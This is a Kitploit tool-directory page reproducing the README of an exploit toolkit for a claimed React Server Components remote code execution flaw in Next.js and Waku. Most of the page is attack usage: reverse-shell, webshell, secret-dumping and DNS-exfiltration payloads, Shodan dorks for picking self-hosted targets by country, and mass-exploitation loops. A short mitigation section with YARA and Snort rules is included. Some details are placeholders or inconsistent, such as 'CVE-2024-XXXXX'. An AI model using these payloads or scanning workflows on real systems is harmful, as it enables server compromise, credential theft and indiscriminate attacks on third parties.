Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC-RCE-CVE-2025-55182 | Kitploit
Tools/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubilixm/poc-rce-cve-2025-55182
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

PoC-RCE-CVE-2025-55182

View Repository

🔥 RSC RCE Exploit Toolkit

Version License Node Platform

Advanced exploitation toolkit for React Server Components Remote Code Execution vulnerabilities

For authorized penetration testing and security research only

Features • Installation • Usage • Shodan Integration • Examples • Disclaimer


📋 Table of Contents

  • Overview
  • Vulnerability Details
  • Features
  • Installation
  • Quick Start
  • Usage
    • Basic Exploitation
    • Available Payloads
    • Custom Payloads
  • Shodan Integration
  • Automated Scanning
  • Examples
  • Mitigation
  • Affected Versions
  • Contributing
  • Disclaimer
  • License

🎯 Overview

This toolkit exploits a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) implementations, specifically targeting:

  • Next.js (versions 13.4.0 - 14.1.0)
  • Waku (vulnerable versions)

The vulnerability leverages prototype pollution and unsafe deserialization in RSC's data handling mechanism to achieve arbitrary code execution on the server.

🔴 Severity: CRITICAL

  • CVSS Score: 9.8 (Critical)
  • Attack Vector: Network
  • Privileges Required: None
  • User Interaction: None
  • Impact: Complete server compromise

🔬 Vulnerability Details

Technical Background

React Server Components use a custom serialization format to transfer data between client and server. The vulnerability exists in how these frameworks deserialize and process specially crafted payloads.

Attack Chain:

  1. Payload Construction: Craft a malicious RSC payload with circular references
  2. Prototype Pollution: Abuse $X:constructor:constructor to access Function constructor
  3. Code Injection: Inject arbitrary JavaScript in the _prefix field
  4. Execution: Server deserializes and executes the payload

Exploitation Flow

root@kitploit:~
Attacker → Malicious RSC Payload → Target Server
                                         ↓
                              Unsafe Deserialization
                                         ↓
                              Prototype Chain Access
                                         ↓
                              Function Constructor
                                         ↓
                              ⚠️ RCE ACHIEVED ⚠️

✨ Features

Core Capabilities

  • ✅ Multiple Framework Support: Next.js and Waku
  • ✅ 8 Pre-built Payloads: From PoC to full reverse shells
  • ✅ Custom Code Execution: Inject any JavaScript code
  • ✅ Shodan Integration: Automated target discovery
  • ✅ Mass Scanning: Test multiple targets automatically
  • ✅ Professional CLI: Complete command-line interface
  • ✅ Detailed Logging: Color-coded output with timestamps
  • ✅ Error Handling: Robust error management

Pre-built Payloads


📦 Installation

Prerequisites

  • Node.js >= 16.0.0
  • npm or yarn
  • Shodan CLI (optional, for automated scanning)

Clone Repository

root@kitploit:~
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

Install Dependencies

root@kitploit:~
npm install
# or
yarn install

Setup Shodan (Optional)

root@kitploit:~
# Install Shodan CLI
pip install shodan

# Initialize with your API key
shodan init YOUR_API_KEY

🚀 Quick Start

1. Basic Vulnerability Check

root@kitploit:~
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. Get a Reverse Shell

root@kitploit:~
# Start listener
nc -lvnp 4444

# Execute exploit
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. Execute Custom Command

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

📖 Usage

Basic Exploitation

root@kitploit:~
node rsc-rce-exploit.js [options]

Options

*Either --payload or --custom is required

Available Payloads

View all payloads:

root@kitploit:~
node rsc-rce-exploit.js --list

Output:

root@kitploit:~
📋 Available payloads:

  console              - Basic PoC - Console output
    Code: console.log(7*7+1)

  reverseShell         - Reverse shell (bash)
    Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - Read /etc/passwd
    Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - Dump environment variables
    Code: console.log(JSON.stringify(process.env,null,2))

  execCommand          - Execute system command
    Code: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - Write webshell to /tmp
    Code: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - Read package.json
    Code: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS exfiltration
    Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

Custom Payloads

Execute any JavaScript code:

root@kitploit:~
node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

🌐 Shodan Integration

Shodan Dorks

Next.js Targets

root@kitploit:~
# Basic Next.js
http.component:"Next.js"

# Next.js with RSC
http.html:"__next" http.html:"RSC"

# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"

# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"

# Geographically targeted (France)
http.component:"Next.js" country:FR

# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

Waku Targets

root@kitploit:~
# Waku framework
http.html:"waku" http.html:"RSC"

# Waku RSC endpoints
http.path:"/RSC/"

Automated Shodan Scanning

Use the provided automation script:

root@kitploit:~
# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# With custom payload
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

Manual Shodan Workflow

root@kitploit:~
# 1. Search Shodan
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt

# 2. Test each target
while read -r line; do
    ip=$(echo $line | awk '{print $1}')
    port=$(echo $line | awk '{print $2}')
    echo "[*] Testing http://$ip:$port"
    node rsc-rce-exploit.js \
      --target "http://$ip:$port" \
      --payload console
done < targets.txt

🤖 Automated Scanning

Mass Exploitation Script

The mass-exploit.js tool allows testing multiple targets:

root@kitploit:~
# From file
node mass-exploit.js --file targets.txt --payload console --threads 10

# From Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump

# Save results
node mass-exploit.js --file targets.txt --payload console --output results.json

Integration in CI/CD

Example for automated security testing:

root@kitploit:~
# .github/workflows/security-test.yml
name: RSC Security Test
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console

💡 Examples

Example 1: Basic PoC

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload console

Expected Output:

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║           RSC RCE Exploit - Enhanced Version              ║
║         React Server Components Code Execution            ║
╚═══════════════════════════════════════════════════════════╝

[*] Starting exploitation...
[*] Targeting Next.js RSC endpoint...
[*] URL: https://vulnerable.example.com
[*] Payload: console.log(7*7+1)...
[+] Response status: 200
[+] Response body:
50
[*] Exploitation complete!

Example 2: Environment Variable Exfiltration

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://api.target.com \
  --payload envDump

Result:

  • Dumps all process.env variables
  • Useful for extracting:
    • Database credentials
    • API keys
    • AWS secrets
    • JWT secrets

Example 3: Reverse Shell

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Execute exploit
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

Example 4: Web Shell Deployment

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload webshell

# Access webshell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"

Example 5: DNS Exfiltration (Blind)

root@kitploit:~
# Setup Burp Collaborator or your DNS server
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"

Example 6: Waku Framework

root@kitploit:~
node rsc-rce-exploit.js \
  --target https://waku-app.example.com \
  --framework waku \
  --endpoint /RSC/custom.txt \
  --payload execCommand \
  --command "id"

Example 7: File Exfiltration

root@kitploit:~
# Read sensitive files
node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --custom "console.log(require('fs').readFileSync('.env','utf8'))"

🛡️ Mitigation

For Developers

  1. Update Framework

    root@kitploit:~
    npm install next@latest
    # or
    npm install waku@latest
    
  2. Validate Input

    root@kitploit:~
    // Validate all RSC payloads
    function validateRSCPayload(payload) {
      // Implement strict validation
      if (payload.includes('constructor')) return false;
      if (payload.includes('__proto__')) return false;
      return true;
    }
    
  3. Content Security Policy

    root@kitploit:~
    // next.config.js
    module.exports = {
      async headers() {
        return [{
          source: '/:path*',
          headers: [
            { key: 'X-Frame-Options', value: 'DENY' },
            { key: 'X-Content-Type-Options', value: 'nosniff' },
          ],
        }]
      },
    }
    
  4. Disable RSC in Production (if not needed)

    root@kitploit:~
    // next.config.js
    module.exports = {
      experimental: {
        serverActions: false,
      },
    }
    

For Security Teams

  • 🔍 Monitor for suspicious RSC requests
  • 🚨 Alert on next-action header usage
  • 🔒 WAF Rules to block prototype pollution attempts
  • 📊 Log Analysis for exploitation attempts

Detection Rules

YARA Rule:

root@kitploit:~
rule RSC_RCE_Exploit {
    strings:
        $s1 = "constructor:constructor"
        $s2 = "_prefix"
        $s3 = "$@"
        $s4 = "resolved_model"
    condition:
        3 of them
}

Snort Rule:

root@kitploit:~
alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)

🎯 Affected Versions

Next.js

Waku

Version RangeStatusNotes
< 0.18.0⚠️ VULNERABLECritical RCE
>= 0.18.0✅ PatchedUpdate recommended

🤝 Contributing

Contributions are welcome! Please follow these guidelines:

  1. Fork the repository
  2. Create a feature branch (git checkout -b feature/amazing-feature)
  3. Commit your changes (git commit -m 'Add amazing feature')
  4. Push to the branch (git push origin feature/amazing-feature)
  5. Open a Pull Request

Contribution Ideas

  • Add more payload templates
  • Implement Nuclei templates
  • Add support for more RSC frameworks
  • Improve Shodan integration
  • Add reporting functionality (PDF/HTML)
  • Create Docker container for toolkit

⚖️ Disclaimer

root@kitploit:~
⚠️ LEGAL DISCLAIMER ⚠️

This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.

By using this software, you agree to:

1. Only test systems you own or have explicit written permission to test
2. Comply with all applicable local, state, national, and international laws
3. Not use this tool for malicious purposes or illegal activities
4. Accept full responsibility for your actions

The authors and contributors:
- Are NOT responsible for any misuse or damage caused by this tool
- Do NOT encourage or condone illegal activity
- Provide this tool "AS IS" without warranty of any kind

UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.

Violators will be prosecuted to the fullest extent of the law under:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- European Cybercrime Convention
- And other applicable laws in your jurisdiction

USE AT YOUR OWN RISK.

📄 License

This project is licensed under the MIT License - see the LICENSE file for details.

root@kitploit:~
MIT License

Copyright (c) 2024 RSC RCE Exploit Contributors

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

🔗 Resources

Official Documentation

  • Next.js Server Actions
  • React Server Components
  • Waku Documentation

Security Research

  • RSC Deserialization Vulnerability Analysis
  • Prototype Pollution in JavaScript
  • Next.js Security Best Practices

Related CVEs

  • CVE-2024-XXXXX (placeholder - add real CVE when available)

📬 Contact

  • GitHub Issues: Report bugs or request features
  • Security Issues: [email protected]
  • Twitter: @yourhandle

⭐ If this tool helped you in your security research, please give it a star! ⭐

Made with ❤️ by security researchers, for security researchers

⬆ Back to Top

Download Tool
PayloadDescriptionUse Case
consoleBasic PoC (console.log)Verify vulnerability
reverseShellBash reverse shellInitial access
readFileRead /etc/passwdFilesystem access
envDumpDump environment variablesCredential extraction
execCommandExecute system commandsArbitrary command execution
webshellDeploy Express webshellPersistent access
exfilPackageExfiltrate package.jsonDependency analysis
dnsExfilDNS exfiltration (OOB)Blind exploitation
OptionDescriptionRequired
--target <url>Target URL✅
--framework <name>Framework: next or waku❌ (default: next)
--payload <name>Payload name (see below)✅*
--custom <code>Custom JavaScript code✅*
--lhost <ip>Your IP (for reverse shell)❌
--lport <port>Your port (for reverse shell)❌
--command <cmd>Command to execute❌
--endpoint <path>Custom RSC endpoint (Waku)❌
--action-id <id>Custom next-action ID❌
--listList available payloads❌
--verboseVerbose output❌
--helpShow help❌
Version RangeStatusNotes
< 13.4.0✅ Not AffectedRSC not enabled by default
13.4.0 - 13.4.19⚠️ VULNERABLECritical RCE
13.5.0 - 14.0.4⚠️ VULNERABLECritical RCE
14.1.0⚠️ VULNERABLEPartial mitigation
>= 14.1.1✅ PatchedUpdate recommended